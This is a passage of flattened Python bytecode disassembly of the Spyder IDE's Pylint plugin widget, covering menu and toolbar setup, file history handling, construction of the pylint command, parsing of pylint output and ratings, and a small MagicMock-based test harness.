CollapseAllAction CALL_METHOD LOAD_FAST options_menu LOAD_GLOBAL PylintWidgetOptionsMenuSections LOAD_ATTR Global LOAD_CONST ('menu', 'section') CALL_FUNCTION POP_TOP LOAD_FAST self LOAD_ATTR add_item_to_menu LOAD_FAST self LOAD_ATTR treewidget LOAD_METHOD get_action LOAD_GLOBAL OneColumnTreeActions LOAD_ATTR ExpandAllAction CALL_METHOD LOAD_FAST options_menu LOAD_GLOBAL PylintWidgetOptionsMenuSections LOAD_ATTR Global LOAD_CONST ('menu', 'section') CALL_FUNCTION POP_TOP LOAD_FAST self LOAD_ATTR add_item_to_menu LOAD_FAST self LOAD_ATTR treewidget LOAD_METHOD get_action LOAD_GLOBAL OneColumnTreeActions LOAD_ATTR CollapseSelectionAction CALL_METHOD LOAD_FAST options_menu LOAD_GLOBAL PylintWidgetOptionsMenuSections LOAD_ATTR Section LOAD_CONST ('menu', 'section') CALL_FUNCTION POP_TOP LOAD_FAST self LOAD_ATTR add_item_to_menu LOAD_FAST self LOAD_ATTR treewidget LOAD_METHOD get_action LOAD_GLOBAL OneColumnTreeActions LOAD_ATTR ExpandSelectionAction CALL_METHOD LOAD_FAST options_menu LOAD_GLOBAL PylintWidgetOptionsMenuSections LOAD_ATTR Section LOAD_CONST ('menu', 'section') CALL_FUNCTION POP_TOP LOAD_FAST self LOAD_ATTR add_item_to_menu LOAD_FAST change_history_depth_action LOAD_FAST options_menu LOAD_GLOBAL PylintWidgetOptionsMenuSections LOAD_ATTR History LOAD_CONST ('menu', 'section') CALL_FUNCTION POP_TOP LOAD_FAST self LOAD_ATTR add_item_to_menu LOAD_FAST change_history_depth_action LOAD_FAST self LOAD_ATTR treewidget LOAD_ATTR menu LOAD_GLOBAL PylintWidgetOptionsMenuSections LOAD_ATTR History LOAD_CONST ('menu', 'section') CALL_FUNCTION POP_TOP LOAD_FAST self LOAD_ATTR treewidget LOAD_ATTR restore_action LOAD_METHOD setVisible LOAD_CONST False CALL_METHOD POP_TOP LOAD_FAST self LOAD_METHOD get_main_toolbar CALL_METHOD STORE_FAST toolbar SETUP_LOOP to 386 LOAD_FAST self LOAD_ATTR filecombo LOAD_FAST self LOAD_ATTR browse_action LOAD_FAST self LOAD_ATTR code_analysis_action BUILD_LIST GET_ITER FOR_ITER to 384 STORE_FAST item LOAD_FAST self LOAD_ATTR add_item_to_toolbar LOAD_FAST item LOAD_FAST toolbar LOAD_GLOBAL PylintWidgetMainToolbarSections LOAD_ATTR Main LOAD_CONST ('section',) CALL_FUNCTION POP_TOP EXTENDED_ARG JUMP_ABSOLUTE POP_BLOCK LOAD_FAST self LOAD_METHOD create_toolbar LOAD_CONST 'secondary' CALL_METHOD STORE_FAST secondary_toolbar SETUP_LOOP to 466 LOAD_FAST self LOAD_ATTR ratelabel LOAD_FAST self LOAD_ATTR create_stretcher LOAD_GLOBAL PylintWidgetToolbarItems LOAD_ATTR Stretcher1 LOAD_CONST ('id_',) CALL_FUNCTION LOAD_FAST self LOAD_ATTR datelabel LOAD_FAST self LOAD_ATTR create_stretcher LOAD_GLOBAL PylintWidgetToolbarItems LOAD_ATTR Stretcher2 LOAD_CONST ('id_',) CALL_FUNCTION LOAD_FAST self LOAD_ATTR log_action BUILD_LIST GET_ITER FOR_ITER to 464 STORE_FAST item LOAD_FAST self LOAD_ATTR add_item_to_toolbar LOAD_FAST item LOAD_FAST secondary_toolbar LOAD_GLOBAL PylintWidgetMainToolbarSections LOAD_ATTR Main LOAD_CONST ('section',) CALL_FUNCTION POP_TOP EXTENDED_ARG JUMP_ABSOLUTE POP_BLOCK LOAD_FAST self LOAD_METHOD show_data CALL_METHOD POP_TOP LOAD_FAST self LOAD_ATTR rdata EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST self LOAD_METHOD remove_obsolete_items CALL_METHOD POP_TOP LOAD_FAST self LOAD_ATTR filecombo LOAD_METHOD insertItems LOAD_CONST 0 LOAD_FAST self LOAD_METHOD get_filenames CALL_METHOD CALL_METHOD POP_TOP LOAD_FAST self LOAD_ATTR code_analysis_action LOAD_METHOD setEnabled LOAD_FAST self LOAD_ATTR filecombo LOAD_METHOD is_valid CALL_METHOD CALL_METHOD POP_TOP JUMP_FORWARD to 540 LOAD_FAST self LOAD_ATTR code_analysis_action LOAD_METHOD setEnabled LOAD_CONST False CALL_METHOD POP_TOP LOAD_FAST self LOAD_ATTR filecombo LOAD_ATTR valid LOAD_METHOD connect LOAD_FAST self LOAD_ATTR code_analysis_action LOAD_ATTR setEnabled CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST option LOAD_CONST 'max_entries' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST self LOAD_METHOD _update_combobox_history CALL_METHOD POP_TOP JUMP_FORWARD to 40 LOAD_FAST option LOAD_CONST 'history_filenames' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST value LOAD_FAST self STORE_ATTR curr_filenames LOAD_FAST self LOAD_METHOD _update_combobox_history CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_METHOD _is_running CALL_METHOD POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR code_analysis_action LOAD_METHOD setIcon LOAD_FAST self LOAD_METHOD create_icon LOAD_CONST 'stop' CALL_METHOD CALL_METHOD POP_TOP JUMP_FORWARD to 46 LOAD_FAST self LOAD_ATTR code_analysis_action LOAD_METHOD setIcon LOAD_FAST self LOAD_METHOD create_icon LOAD_CONST 'run' CALL_METHOD CALL_METHOD POP_TOP LOAD_FAST self LOAD_METHOD remove_obsolete_items CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_METHOD stop_code_analysis CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST value LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_GLOBAL QInputDialog LOAD_DEREF self CALL_FUNCTION STORE_FAST dialog LOAD_FAST dialog LOAD_METHOD setModal LOAD_CONST False CALL_METHOD POP_TOP LOAD_FAST dialog LOAD_METHOD setWindowTitle LOAD_GLOBAL _ LOAD_CONST 'History' CALL_FUNCTION CALL_METHOD POP_TOP LOAD_FAST dialog LOAD_METHOD setLabelText LOAD_GLOBAL _ LOAD_CONST 'Maximum entries' CALL_FUNCTION CALL_METHOD POP_TOP LOAD_FAST dialog LOAD_METHOD setInputMode LOAD_GLOBAL QInputDialog LOAD_ATTR IntInput CALL_METHOD POP_TOP LOAD_FAST dialog LOAD_METHOD setIntRange LOAD_GLOBAL MIN_HISTORY_ENTRIES LOAD_GLOBAL MAX_HISTORY_ENTRIES CALL_METHOD POP_TOP LOAD_FAST dialog LOAD_METHOD setIntStep LOAD_CONST 1 CALL_METHOD POP_TOP LOAD_FAST dialog LOAD_METHOD setIntValue LOAD_DEREF self LOAD_METHOD get_conf LOAD_CONST 'max_entries' CALL_METHOD CALL_METHOD POP_TOP LOAD_FAST dialog LOAD_ATTR intValueSelected LOAD_METHOD connect LOAD_CLOSURE self BUILD_TUPLE LOAD_CONST <code object <lambda> at 0x7fab41505780, file "f.py", line 589> LOAD_CONST 'PylintWidget.change_history_depth.<locals>.<lambda>' MAKE_FUNCTION CALL_METHOD POP_TOP LOAD_FAST dialog LOAD_METHOD show CALL_METHOD POP_TOP JUMP_FORWARD to 146 LOAD_DEREF self LOAD_METHOD set_conf LOAD_CONST 'max_entries' LOAD_FAST value CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_DEREF self LOAD_METHOD set_conf LOAD_CONST 'max_entries' LOAD_FAST value CALL_METHOD RETURN_VALUE LOAD_GLOBAL str LOAD_FAST self LOAD_ATTR filecombo LOAD_METHOD currentText CALL_METHOD CALL_FUNCTION RETURN_VALUE LOAD_FAST self LOAD_METHOD _is_running CALL_METHOD POP_JUMP_IF_FALSE LOAD_FAST self LOAD_METHOD _kill_process CALL_METHOD POP_TOP LOAD_GLOBAL str LOAD_FAST filename CALL_FUNCTION STORE_FAST filename LOAD_GLOBAL osp LOAD_METHOD normpath LOAD_FAST filename CALL_METHOD STORE_FAST filename LOAD_FAST self LOAD_METHOD get_filename CALL_METHOD LOAD_FAST filename COMPARE_OP == POP_JUMP_IF_FALSE LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_METHOD get_data LOAD_FAST filename CALL_METHOD UNPACK_SEQUENCE STORE_FAST index STORE_FAST _data LOAD_FAST filename LOAD_FAST self LOAD_ATTR curr_filenames COMPARE_OP not in POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR filecombo LOAD_METHOD insertItem LOAD_CONST 0 LOAD_FAST filename CALL_METHOD POP_TOP LOAD_FAST self LOAD_ATTR curr_filenames LOAD_METHOD insert LOAD_CONST 0 LOAD_FAST filename CALL_METHOD POP_TOP LOAD_FAST self LOAD_ATTR filecombo LOAD_METHOD setCurrentIndex LOAD_CONST 0 CALL_METHOD POP_TOP JUMP_FORWARD to 230 SETUP_EXCEPT to 158 LOAD_FAST self LOAD_ATTR filecombo LOAD_METHOD findText LOAD_FAST filename CALL_METHOD STORE_FAST index LOAD_FAST self LOAD_ATTR filecombo LOAD_METHOD removeItem LOAD_FAST index CALL_METHOD POP_TOP LOAD_FAST self LOAD_ATTR curr_filenames LOAD_METHOD pop LOAD_FAST index CALL_METHOD POP_TOP POP_BLOCK JUMP_FORWARD to 190 DUP_TOP LOAD_GLOBAL IndexError COMPARE_OP exception match POP_JUMP_IF_FALSE POP_TOP POP_TOP POP_TOP LOAD_FAST self LOAD_ATTR curr_filenames LOAD_METHOD remove LOAD_FAST filename CALL_METHOD POP_TOP POP_EXCEPT JUMP_FORWARD to 190 END_FINALLY LOAD_FAST self LOAD_ATTR filecombo LOAD_METHOD insertItem LOAD_CONST 0 LOAD_FAST filename CALL_METHOD POP_TOP LOAD_FAST self LOAD_ATTR curr_filenames LOAD_METHOD insert LOAD_CONST 0 LOAD_FAST filename CALL_METHOD POP_TOP LOAD_FAST self LOAD_ATTR filecombo LOAD_METHOD setCurrentIndex LOAD_CONST 0 CALL_METHOD POP_TOP LOAD_FAST self LOAD_ATTR filecombo LOAD_METHOD count CALL_METHOD STORE_FAST num_elements LOAD_FAST num_elements LOAD_FAST self LOAD_METHOD get_conf LOAD_CONST 'max_entries' CALL_METHOD COMPARE_OP > EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR filecombo LOAD_METHOD removeItem LOAD_FAST num_elements LOAD_CONST 1 BINARY_SUBTRACT CALL_METHOD POP_TOP LOAD_FAST self LOAD_ATTR filecombo LOAD_METHOD selected CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_METHOD _is_running CALL_METHOD POP_JUMP_IF_FALSE LOAD_FAST self LOAD_METHOD _kill_process CALL_METHOD POP_TOP JUMP_FORWARD to 54 LOAD_FAST filename LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST self LOAD_METHOD set_filename LOAD_FAST filename CALL_METHOD POP_TOP LOAD_FAST self LOAD_ATTR filecombo LOAD_METHOD is_valid CALL_METHOD POP_JUMP_IF_FALSE LOAD_FAST self LOAD_METHOD _start CALL_METHOD POP_TOP LOAD_FAST self LOAD_METHOD update_actions CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_METHOD _is_running CALL_METHOD POP_JUMP_IF_FALSE LOAD_FAST self LOAD_METHOD _kill_process CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_CONST <code object <listcomp> at 0x7fab41505ae0, file "f.py", line 671> LOAD_CONST 'PylintWidget.remove_obsolete_items.<locals>.<listcomp>' MAKE_FUNCTION LOAD_FAST self LOAD_ATTR rdata GET_ITER CALL_FUNCTION LOAD_FAST self STORE_ATTR rdata LOAD_CONST None RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 30 UNPACK_SEQUENCE STORE_FAST filename STORE_FAST data LOAD_GLOBAL is_module_or_package LOAD_FAST filename CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_FAST filename LOAD_FAST data BUILD_TUPLE LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE LOAD_CONST <code object <listcomp> at 0x7fab41505c00, file "f.py", line 680> LOAD_CONST 'PylintWidget.get_filenames.<locals>.<listcomp>' MAKE_FUNCTION LOAD_FAST self LOAD_ATTR rdata GET_ITER CALL_FUNCTION RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 18 UNPACK_SEQUENCE STORE_FAST filename STORE_FAST _data LOAD_FAST filename LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE LOAD_GLOBAL osp LOAD_METHOD abspath LOAD_FAST filename CALL_METHOD STORE_FAST filename SETUP_LOOP to 58 LOAD_GLOBAL enumerate LOAD_FAST self LOAD_ATTR rdata CALL_FUNCTION GET_ITER FOR_ITER to 52 UNPACK_SEQUENCE STORE_FAST index UNPACK_SEQUENCE STORE_FAST fname STORE_FAST data LOAD_FAST fname LOAD_FAST filename COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST index LOAD_FAST data BUILD_TUPLE RETURN_VALUE JUMP_ABSOLUTE POP_BLOCK LOAD_CONST (None, None) RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_GLOBAL osp LOAD_METHOD abspath LOAD_FAST filename CALL_METHOD STORE_FAST filename LOAD_FAST self LOAD_METHOD get_data LOAD_FAST filename CALL_METHOD UNPACK_SEQUENCE STORE_FAST index STORE_FAST _data LOAD_FAST index LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR rdata LOAD_METHOD pop LOAD_FAST index CALL_METHOD POP_TOP LOAD_FAST self LOAD_ATTR rdata LOAD_METHOD insert LOAD_CONST 0 LOAD_FAST filename LOAD_FAST data BUILD_TUPLE CALL_METHOD POP_TOP SETUP_LOOP to 100 LOAD_GLOBAL len LOAD_FAST self LOAD_ATTR rdata CALL_FUNCTION LOAD_FAST self LOAD_METHOD get_conf LOAD_CONST 'max_entries' CALL_METHOD COMPARE_OP > POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR rdata LOAD_METHOD pop LOAD_CONST -1 CALL_METHOD POP_TOP JUMP_ABSOLUTE POP_BLOCK LOAD_GLOBAL open LOAD_FAST self LOAD_ATTR DATAPATH LOAD_CONST 'wb' CALL_FUNCTION SETUP_WITH to 142 STORE_FAST fh LOAD_GLOBAL pickle LOAD_METHOD dump LOAD_FAST self LOAD_ATTR VERSION BUILD_LIST LOAD_FAST self LOAD_ATTR rdata BINARY_ADD LOAD_FAST fh LOAD_CONST 2 CALL_METHOD POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_GLOBAL MAIN_TEXT_COLOR STORE_FAST text_color LOAD_GLOBAL MAIN_PREVRATE_COLOR STORE_FAST prevrate_color LOAD_FAST justanalyzed POP_JUMP_IF_TRUE LOAD_CONST None LOAD_FAST self STORE_ATTR output LOAD_FAST self LOAD_ATTR log_action LOAD_METHOD setEnabled LOAD_FAST self LOAD_ATTR output LOAD_CONST None COMPARE_OP is not JUMP_IF_FALSE_OR_POP LOAD_GLOBAL len LOAD_FAST self LOAD_ATTR output CALL_FUNCTION LOAD_CONST 0 COMPARE_OP > CALL_METHOD POP_TOP LOAD_FAST self LOAD_METHOD _is_running CALL_METHOD POP_JUMP_IF_FALSE LOAD_FAST self LOAD_METHOD _kill_process CALL_METHOD POP_TOP LOAD_FAST self LOAD_METHOD get_filename CALL_METHOD STORE_FAST filename LOAD_FAST filename POP_JUMP_IF_TRUE LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_METHOD get_data LOAD_FAST filename CALL_METHOD UNPACK_SEQUENCE STORE_FAST _index STORE_FAST data LOAD_FAST data LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_GLOBAL _ LOAD_CONST 'Source code has not been rated yet.' CALL_FUNCTION STORE_FAST text LOAD_FAST self LOAD_ATTR treewidget LOAD_METHOD clear_results CALL_METHOD POP_TOP LOAD_CONST '' STORE_FAST date_text JUMP_FORWARD to 338 LOAD_FAST data UNPACK_SEQUENCE STORE_FAST datetime STORE_FAST rate STORE_FAST previous_rate STORE_FAST results LOAD_FAST rate LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_GLOBAL _ LOAD_CONST 'Analysis did not succeed (see output for more details).' CALL_FUNCTION STORE_FAST text LOAD_FAST self LOAD_ATTR treewidget LOAD_METHOD clear_results CALL_METHOD POP_TOP LOAD_CONST '' STORE_FAST date_text JUMP_FORWARD to 338 LOAD_CONST '<span style="color: %s"><b>%s </b></span>' STORE_FAST text_style LOAD_CONST '<span style="color: %s"><b>%s</b></span>' STORE_FAST rate_style LOAD_CONST '<span style="color: %s">%s</span>' STORE_FAST prevrate_style LOAD_GLOBAL DANGER_COLOR STORE_FAST color LOAD_GLOBAL float LOAD_FAST rate CALL_FUNCTION LOAD_CONST 5.0 COMPARE_OP > POP_JUMP_IF_FALSE LOAD_GLOBAL SUCCESS_COLOR STORE_FAST color JUMP_FORWARD to 222 LOAD_GLOBAL float LOAD_FAST rate CALL_FUNCTION LOAD_CONST 3.0 COMPARE_OP > POP_JUMP_IF_FALSE LOAD_GLOBAL WARNING_COLOR STORE_FAST color LOAD_GLOBAL _ LOAD_CONST 'Global evaluation:' CALL_FUNCTION STORE_FAST text LOAD_FAST text_style LOAD_FAST text_color LOAD_FAST text BUILD_TUPLE BINARY_MODULO LOAD_FAST rate_style LOAD_FAST color LOAD_CONST '%s/10' LOAD_FAST rate BINARY_MODULO BUILD_TUPLE BINARY_MODULO BINARY_ADD STORE_FAST text LOAD_FAST previous_rate EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL _ LOAD_CONST 'previous run:' CALL_FUNCTION STORE_FAST text_prun LOAD_CONST ' (%s %s/10)' LOAD_FAST text_prun LOAD_FAST previous_rate BUILD_TUPLE BINARY_MODULO STORE_FAST text_prun LOAD_FAST text LOAD_FAST prevrate_style LOAD_FAST prevrate_color LOAD_FAST text_prun BUILD_TUPLE BINARY_MODULO INPLACE_ADD STORE_FAST text LOAD_FAST self LOAD_ATTR treewidget LOAD_METHOD set_results LOAD_FAST filename LOAD_FAST results CALL_METHOD POP_TOP LOAD_GLOBAL time LOAD_METHOD strftime LOAD_CONST '%Y-%m-%d %H:%M:%S' LOAD_FAST datetime CALL_METHOD STORE_FAST date LOAD_FAST text_style LOAD_FAST text_color LOAD_FAST date BUILD_TUPLE BINARY_MODULO STORE_FAST date_text LOAD_FAST self LOAD_ATTR ratelabel LOAD_METHOD setText LOAD_FAST text CALL_METHOD POP_TOP LOAD_FAST self LOAD_ATTR datelabel LOAD_METHOD setText LOAD_FAST date_text CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR output POP_JUMP_IF_FALSE LOAD_GLOBAL TextEditor LOAD_FAST self LOAD_ATTR output LOAD_GLOBAL _ LOAD_CONST 'Code analysis output' CALL_FUNCTION LOAD_FAST self LOAD_CONST True LOAD_CONST ('title', 'parent', 'readonly') CALL_FUNCTION STORE_FAST output_dialog LOAD_FAST output_dialog LOAD_METHOD resize LOAD_CONST 700 LOAD_CONST 500 CALL_METHOD POP_TOP LOAD_FAST output_dialog LOAD_METHOD exec_ CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL osp LOAD_METHOD dirname LOAD_FAST filename CALL_METHOD LOAD_GLOBAL getcwd_or_home CALL_FUNCTION LOAD_FAST self LOAD_METHOD get_conf LOAD_CONST 'project_dir' CALL_METHOD LOAD_GLOBAL osp LOAD_METHOD expanduser LOAD_CONST '~' CALL_METHOD BUILD_LIST STORE_FAST search_paths LOAD_GLOBAL get_pylintrc_path LOAD_FAST search_paths LOAD_CONST ('search_paths',) CALL_FUNCTION RETURN_VALUE LOAD_FAST filename LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR sig_redirect_stdio_requested LOAD_METHOD emit LOAD_CONST False CALL_METHOD POP_TOP LOAD_GLOBAL getopenfilename LOAD_FAST self LOAD_GLOBAL _ LOAD_CONST 'Select Python file' CALL_FUNCTION LOAD_GLOBAL getcwd_or_home CALL_FUNCTION LOAD_GLOBAL _ LOAD_CONST 'Python files' CALL_FUNCTION LOAD_CONST ' (*.py ; *.pyw)' BINARY_ADD CALL_FUNCTION UNPACK_SEQUENCE STORE_FAST filename STORE_FAST _selfilter LOAD_FAST self LOAD_ATTR sig_redirect_stdio_requested LOAD_METHOD emit LOAD_CONST True CALL_METHOD POP_TOP LOAD_FAST filename POP_JUMP_IF_FALSE LOAD_FAST self LOAD_METHOD set_filename LOAD_FAST filename CALL_METHOD POP_TOP LOAD_FAST self LOAD_METHOD start_code_analysis CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL osp LOAD_METHOD normpath LOAD_FAST self LOAD_ATTR get_conf LOAD_CONST 'executable' LOAD_CONST 'main_interpreter' LOAD_CONST ('section',) CALL_FUNCTION CALL_METHOD STORE_FAST custom_interpreter LOAD_FAST self LOAD_ATTR get_conf LOAD_CONST 'default' LOAD_CONST 'main_interpreter' LOAD_CONST ('section',) CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_GLOBAL get_python_executable CALL_FUNCTION LOAD_FAST custom_interpreter COMPARE_OP == POP_JUMP_IF_FALSE LOAD_CONST None STORE_FAST path_of_custom_interpreter JUMP_FORWARD to 104 LOAD_GLOBAL osp LOAD_METHOD isfile LOAD_FAST custom_interpreter CALL_METHOD POP_JUMP_IF_FALSE LOAD_GLOBAL os LOAD_ATTR name LOAD_CONST 'nt' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_GLOBAL osp LOAD_METHOD dirname LOAD_FAST custom_interpreter CALL_METHOD STORE_FAST path_of_custom_interpreter JUMP_ABSOLUTE LOAD_GLOBAL osp LOAD_METHOD dirname LOAD_GLOBAL osp LOAD_METHOD dirname LOAD_FAST custom_interpreter CALL_METHOD CALL_METHOD STORE_FAST path_of_custom_interpreter JUMP_FORWARD to 104 LOAD_CONST None STORE_FAST path_of_custom_interpreter LOAD_FAST path_of_custom_interpreter RETURN_VALUE BUILD_LIST STORE_FAST command_args LOAD_GLOBAL PYLINT_VER LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_CONST '-m' LOAD_CONST 'pylint' LOAD_CONST '--output-format=text' LOAD_CONST '--msg-template={msg_id}:{symbol}:{line:3d},{column}: {msg}"' BUILD_LIST STORE_FAST command_args LOAD_FAST self LOAD_METHOD test_for_custom_interpreter CALL_METHOD STORE_FAST path_of_custom_interpreter LOAD_FAST path_of_custom_interpreter LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST command_args LOAD_CONST "--init-hook=import pylint_venv; pylint_venv.inithook('{}', force_venv_activation=True)" LOAD_METHOD format LOAD_FAST path_of_custom_interpreter LOAD_METHOD replace LOAD_CONST '\\' LOAD_CONST '\\\\' CALL_METHOD CALL_METHOD BUILD_LIST INPLACE_ADD STORE_FAST command_args LOAD_FAST self LOAD_ATTR get_pylintrc_path LOAD_FAST filename LOAD_CONST ('filename',) CALL_FUNCTION STORE_FAST pylintrc_path LOAD_FAST pylintrc_path LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST command_args LOAD_CONST '--rcfile={}' LOAD_METHOD format LOAD_FAST pylintrc_path CALL_METHOD BUILD_LIST INPLACE_ADD STORE_FAST command_args LOAD_FAST command_args LOAD_METHOD append LOAD_FAST filename CALL_METHOD POP_TOP LOAD_FAST command_args RETURN_VALUE BUILD_LIST BUILD_LIST BUILD_LIST BUILD_LIST LOAD_CONST ('C:', 'R:', 'W:', 'E:') BUILD_CONST_KEY_MAP STORE_FAST results LOAD_CONST '************* Module ' STORE_FAST txt_module LOAD_CONST '' STORE_FAST module EXTENDED_ARG SETUP_LOOP to 290 LOAD_FAST output LOAD_METHOD splitlines CALL_METHOD GET_ITER FOR_ITER to 288 STORE_FAST line LOAD_FAST line LOAD_METHOD startswith LOAD_FAST txt_module CALL_METHOD POP_JUMP_IF_FALSE LOAD_FAST line LOAD_GLOBAL len LOAD_FAST txt_module CALL_FUNCTION LOAD_CONST None BUILD_SLICE BINARY_SUBSCR STORE_FAST module JUMP_ABSOLUTE LOAD_GLOBAL re LOAD_METHOD match LOAD_CONST '^[CRWE]+([0-9]{4})?:' LOAD_FAST line CALL_METHOD POP_JUMP_IF_TRUE JUMP_ABSOLUTE BUILD_MAP STORE_FAST items LOAD_CONST 0 STORE_FAST idx_0 LOAD_CONST 0 STORE_FAST idx_1 LOAD_CONST 'msg_id' LOAD_CONST 'message_name' LOAD_CONST 'line_nb' LOAD_CONST 'message' BUILD_LIST STORE_FAST key_names SETUP_LOOP to 286 LOAD_GLOBAL enumerate LOAD_FAST key_names CALL_FUNCTION GET_ITER FOR_ITER to 232 UNPACK_SEQUENCE STORE_FAST key_idx STORE_FAST key_name LOAD_FAST key_idx LOAD_GLOBAL len LOAD_FAST key_names CALL_FUNCTION LOAD_CONST 1 BINARY_SUBTRACT COMPARE_OP == POP_JUMP_IF_FALSE LOAD_GLOBAL len LOAD_FAST line CALL_FUNCTION STORE_FAST idx_1 JUMP_FORWARD to 160 LOAD_FAST line LOAD_METHOD find LOAD_CONST ':' LOAD_FAST idx_0 CALL_METHOD STORE_FAST idx_1 LOAD_FAST idx_1 LOAD_CONST 0 COMPARE_OP < POP_JUMP_IF_FALSE BREAK_LOOP LOAD_FAST line LOAD_FAST idx_0 LOAD_FAST idx_1 BUILD_SLICE BINARY_SUBSCR STORE_FAST item LOAD_FAST item POP_JUMP_IF_TRUE BREAK_LOOP LOAD_FAST key_name LOAD_CONST 'line_nb' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_GLOBAL int LOAD_FAST item LOAD_METHOD split LOAD_CONST ',' CALL_METHOD LOAD_CONST 0 BINARY_SUBSCR CALL_FUNCTION STORE_FAST item LOAD_FAST item LOAD_FAST items LOAD_FAST key_name STORE_SUBSCR LOAD_FAST idx_1 LOAD_CONST 1 BINARY_ADD STORE_FAST idx_0 JUMP_ABSOLUTE POP_BLOCK LOAD_FAST module LOAD_FAST items LOAD_CONST 'line_nb' BINARY_SUBSCR LOAD_FAST items LOAD_CONST 'message' BINARY_SUBSCR LOAD_FAST items LOAD_CONST 'msg_id' BINARY_SUBSCR LOAD_FAST items LOAD_CONST 'message_name' BINARY_SUBSCR BUILD_TUPLE STORE_FAST pylint_item LOAD_FAST results LOAD_FAST line LOAD_CONST 0 BINARY_SUBSCR LOAD_CONST ':' BINARY_ADD BINARY_SUBSCR LOAD_METHOD append LOAD_FAST pylint_item CALL_METHOD POP_TOP JUMP_ABSOLUTE POP_BLOCK LOAD_CONST None STORE_FAST rate LOAD_CONST 'Your code has been rated at ' STORE_FAST txt_rate LOAD_FAST output LOAD_METHOD find LOAD_FAST txt_rate CALL_METHOD STORE_FAST i_rate LOAD_FAST i_rate LOAD_CONST 0 COMPARE_OP > EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST output LOAD_METHOD find LOAD_CONST '/10' LOAD_FAST i_rate CALL_METHOD STORE_FAST i_rate_end LOAD_FAST i_rate_end LOAD_CONST 0 COMPARE_OP > EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST output LOAD_FAST i_rate LOAD_GLOBAL len LOAD_FAST txt_rate CALL_FUNCTION BINARY_ADD LOAD_FAST i_rate_end BUILD_SLICE BINARY_SUBSCR STORE_FAST rate LOAD_CONST '' STORE_FAST previous LOAD_FAST rate LOAD_CONST None COMPARE_OP is not EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_CONST 'previous run: ' STORE_FAST txt_prun LOAD_FAST output LOAD_METHOD find LOAD_FAST txt_prun LOAD_FAST i_rate_end CALL_METHOD STORE_FAST i_prun LOAD_FAST i_prun LOAD_CONST 0 COMPARE_OP > EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST output LOAD_METHOD find LOAD_CONST '/10' LOAD_FAST i_prun CALL_METHOD STORE_FAST i_prun_end LOAD_FAST output LOAD_FAST i_prun LOAD_GLOBAL len LOAD_FAST txt_prun CALL_FUNCTION BINARY_ADD LOAD_FAST i_prun_end BUILD_SLICE BINARY_SUBSCR STORE_FAST previous LOAD_FAST rate LOAD_FAST previous LOAD_FAST results BUILD_TUPLE RETURN_VALUE LOAD_CONST 0 LOAD_CONST ('qapplication',) IMPORT_NAME spyder.utils.qthelpers IMPORT_FROM qapplication STORE_FAST qapplication POP_TOP LOAD_CONST 0 LOAD_CONST ('MagicMock',) IMPORT_NAME unittest.mock IMPORT_FROM MagicMock STORE_FAST MagicMock POP_TOP LOAD_FAST MagicMock CALL_FUNCTION STORE_FAST plugin_mock LOAD_CONST 'pylint' LOAD_FAST plugin_mock STORE_ATTR CONF_SECTION LOAD_FAST qapplication LOAD_CONST 20 LOAD_CONST ('test_time',) CALL_FUNCTION STORE_FAST app LOAD_GLOBAL PylintWidget LOAD_CONST 'pylint' LOAD_FAST plugin_mock LOAD_CONST ('name', 'plugin') CALL_FUNCTION STORE_FAST widget LOAD_FAST widget LOAD_METHOD _setup CALL_METHOD POP_TOP LOAD_FAST widget LOAD_METHOD setup CALL_METHOD POP_TOP LOAD_FAST widget LOAD_METHOD resize LOAD_CONST 640 LOAD_CONST 480 CALL_METHOD POP_TOP LOAD_FAST widget LOAD_METHOD show CALL_METHOD POP_TOP LOAD_FAST widget 